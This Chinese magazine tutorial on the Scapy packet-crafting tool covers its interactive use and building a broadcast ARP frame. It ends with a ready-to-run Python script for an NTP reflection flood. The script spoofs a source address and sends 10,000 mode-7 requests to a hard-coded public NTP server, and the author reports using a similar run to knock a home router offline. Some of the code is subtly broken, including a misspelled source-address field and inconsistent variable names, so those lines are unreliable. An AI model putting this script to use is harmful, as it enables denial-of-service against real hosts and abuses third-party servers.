协议包构造工具-Scapy

Table of Contents

本文已发于《黑客防线》2011.10期

1. 前言

Wireshark 是一个非常优秀的跨平台的协议包抓包工具,由于笔者长期研究网络协议方面的东西,光靠抓包学习协议是不足够的,很多时候需要自己构造协议的数据包,但基于 WinPcap 编程也是比较琐碎麻烦的,所以需要一个能专心于数据包构造而又不用分心去花大部分时间在编程细节上的工具。

Scapy 就是一个很好的协议包构造的程序,说它是程序还不是特别准确,它不仅可以在命令交互式下设置各个协议的字段值、发送和接受数据,它还可以作为库来使用。如此强大的功能都在于它是基于 Python 开发的,所以可以在自己的 Python 程序中很方便地 import。

2. Scapy 的使用

Scapy 在 Ubuntu 下很好安装,直接用 apt-get install scapy 即可了。因为 Backtrack5 中本身就自带了 scapy,就不浪费时间在介绍它的安装上了。我们讲集中精力在它的使用方法上,笔者就直接使用 Backtrack5 中的 scapy。

Scapy 在 Backtrack5 中位于“BackTrack->Information Gathering->Network Analysis->Network Traffic Analysis”菜单下,也可以直接在终端中输入“scapy”命令启动即可。注意需要 root 权限。

启动 Scapy 之后首先就是一个交互式操作的界面,如图1。

%E5%9B%BE%E7%89%871.jpg

Scapy 用的是面向对象设计的,也就是说,每个协议就是一个类,对协议的操作就是调用函数。理解这个是很重要的。在交互界面中,可以通过 lsc() 命令(其实是一个函数,为了不引起混淆,在这里我错误地将其称作为“命令”)来列出对协议数据包通用的操作方法以及说明。如图2:

%E5%9B%BE%E7%89%872.jpg

其中我们用得比较多的是 send() 和 sendp(),从后面的英文解释看得出,send() 是用来发送第三层(网络层)协议的数据包,也就是最常用的 TCP 和 UDP 协议了;sendp() 是发送第二层,即数据链路层的,典型的就是 ARP 协议了。

使用 ls() 可以列出当前 Scapy 中所支持的所有协议,如图3,Scapy 支持相当多的协议呢,并且 Scapy 是允许用户自己扩展协议的,关于这点,就不在此讨论了。

%E5%9B%BE%E7%89%873.jpg

还可以通过 ls(协议名) 来列出指定协议的具体字段即字段说明。如图4是 ARP 协议的字段说明:

%E5%9B%BE%E7%89%874.jpg

了解以上后,现在就可以来具体构造一个协议包试试了。这里我构造一个 ARP 协议包。方法就跟定义对象一样。在交互式中,输入 arp = ARP() 来定义一个 ARP 协议的对象。此时可以通过 arp.show() 方法来显示具体的字段,如图5:

%E5%9B%BE%E7%89%875.jpg

设置协议字段可以通过“对象名.字段名”的格式来设置。此例中,hwsrc 是源主机的 MAC 地址,hwdst 是目标主机的 MAC 地址,咱就用源地址是 AA:AA:AA:AA:AA:AA 向 FF:FF:FF:FF:FF:FF 发送一个广播 ARP 数据包。如图6:

%E5%9B%BE%E7%89%876.jpg

上文我已经提到了,直接使用 sendp 就可以发送二层数据包了,对吧?但 Scapy 有趣的地方在于,它可以让你感受一下数据的封装,我们知道以太网的标准帧格式对吧,需要有目标和源的 MAC 地址,于是,我们需要封装一下以太网的帧格式,然后再发送。

也就是说,我们在此还需要像构造 ARP 包一样构造一个标准的以太网帧,如下所示:

>>ehter = Ether()

>>ehter.show()

   dst = 00:00:00:00:00:00

   src = 00:00:00:00:00:00

   type = 0x0

>>ether.dst = "ff:ff:ff:ff:ff:ff"

dst 就是目标 MAC 地址,我设置成的广播地址。然后看看 Scapy 神奇的封装:

>>sendp(ether/arp)

看,上层的包就“封装”在“/”的右边。回车后提示“Send 1 packets”,表明发送出一个数据包。图7是我用 Wireshark 捕捉到的。

%E5%9B%BE%E7%89%877.jpg

我们完全可以在自己的 Python 脚本中使用 Scapy 的,将刚才的示例写成 Python 脚本就如下:

from scapy.all import *

arp = ARP()
arp.hwsrc="AA:AA:AA:AA:AA:AA"
arp.hwdst="FF:FF:FF:FF:FF:FF"

ether = Ether()
ether.dst = "FF:FF:FF:FF:FF:FF"

sendp(ether/arp)

这里只用注意,导出时用 scapy.all。

3. 实例:NTP 洪水攻击

以前的 Linxinsnow 和 Longas 就在黑防上写过关于 NTP 攻击了,于是就研究了一下,顺便就用 Scapy 来完成这个攻击脚本,脚本如下:

from scapy.all import *

for i in range(1,10000):
    # 构造 IP 数据包
    ip = IP()
    # 伪造一个源地址,NTP 服务器返回的数据流它上面去
    ip.scr = '192.168.1.102'
    # 这是 NTP 服务器的 IP
    ip.dst = '133.100.11.8'

    # 构造 UDP 数据包
    udp = UDP()
    # 源端口,我 QQ 号的前5位,乱写的
    udp.sport = 42155
    # 目标端口,NTP 的服务的监听端口是 123
    udp.dport = 123

    # 构造 NTP 数据包
    ntp = NTP()
    # NTP 版本,我用的 v2
    ntp.version = 2
    # 模式,内部模式
    ntp.mode = 7
    ntp.stratum = 0
    ntp.poll = 2
    ntp.precision = 42

    # 将数据包封装后发出去
    send(ip/udp/ntp)

这里主要用 Scapy 自己构造了一个 IP 包、UDP 包,还设定了特定几个 NTP 字段,用 Scapy 伪造数据包实在是非常方便,题外话,其实有许多协议都有一个致命的弱点就是可以伪造数据,这也是早期发明协议时没有考虑过的安全问题吧。当时我用这个脚本来测试家里的 TP-LINK,循环了10万次,几分钟就掉线了。